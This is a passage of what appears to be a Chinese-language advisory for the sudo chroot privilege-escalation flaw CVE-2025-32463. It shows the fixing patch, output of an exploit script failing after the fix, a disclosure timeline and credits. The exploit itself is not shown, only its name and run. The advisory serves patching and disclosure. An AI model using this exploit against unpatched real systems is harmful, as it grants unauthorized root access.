SUDOERS_PIVOT_INITIALIZER; +     const char *cmnd_in; +     char *cmnd_out = NULL; +     char *path = ctx->user.path; +@@ -1099,13 +1098,7 @@ +     if (def_secure_path && !user_is_exempt(ctx)) +        path = def_secure_path; + +-    /* Pivot root. */ +-    if (runchroot != NULL) { +-       if (!pivot_root(runchroot, &pivot_state)) +-           goto error; +-    } +- +-    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path); ++    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot); +     if (ret == FOUND) { +        char *slash = strrchr(cmnd_out, '/'); +        if (slash != NULL) { +@@ -1122,14 +1115,8 @@ +     else +        ctx->user.cmnd = cmnd_out; + +-    /* Restore root. */ +-    if (runchroot != NULL) +-       (void)unpivot_root(&pivot_state); +- +     debug_return_int(ret); + error: +-    if (runchroot != NULL) +-       (void)unpivot_root(&pivot_state); +     free(cmnd_out); +     debug_return_int(NOT_FOUND_ERROR); + } +``` + +应用补丁后，漏洞利用（exploit）失败，因为不再调用 chroot()  +函数。 +``` +lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh +woot! +sudo: the -R option will be removed in a future version of sudo +Password: +sudo: you are not permitted to use the -R option with woot +``` +### 披露时间线（Disclosure Timeline） + +2025/04/01：漏洞报告提交给 Todd Miller（Sudo 维护者）。 +2025/04/03：发送跟进请求，确认已收到初始报告。 +2025/04/03：收到确认回复，初步讨论开始。 +2025/04/06：维护者提出 CVE-2025-32462 补丁（patch）。 +2025/04/07：向 MITRE 申请 CVE 编号。 +2025/04/08：MITRE 分配 CVE-2025-32462（host option）和 CVE-2025-32463（chroot）。 +2025/04/08：验证 CVE-2025-32462 补丁并提供进一步反馈。 +2025/04/23：再次发送跟进请求，询问进展。 +2025/05/06：再次发送跟进请求，询问进展。 +2025/05/06：维护者回复，仍在处理 chroot 问题的解决方案。 +2025/05/07：就 chroot 问题提供反馈。 +2025/05/16：再次发送跟进请求。 +2025/06/04：再次发送跟进请求。 +2025/06/09：维护者提出 CVE-2025-32463 补丁。 +2025/06/10：验证 CVE-2025-32463 补丁，并提出披露时间线建议。 +2025/06/23：补丁发送至操作系统distros邮件列表，Sudo 安全通告链接确认。 +2025/06/30：公开披露（Public disclosure）。 +2025/06/30：博客文章发布。 +### 致谢与鸣谢（Acknowledgment & Credit） + +CVE-2025-32463 Sudo chroot 提权漏洞（Elevation of Privilege Vulnerability）由 Stratascale Cyber Research Unit（CRU）成员 Rich Mirch 发现。Stratascale CRU 团队感谢 Sudo 维护者 Todd Miller 在漏洞修复过程中的合作与支持。 +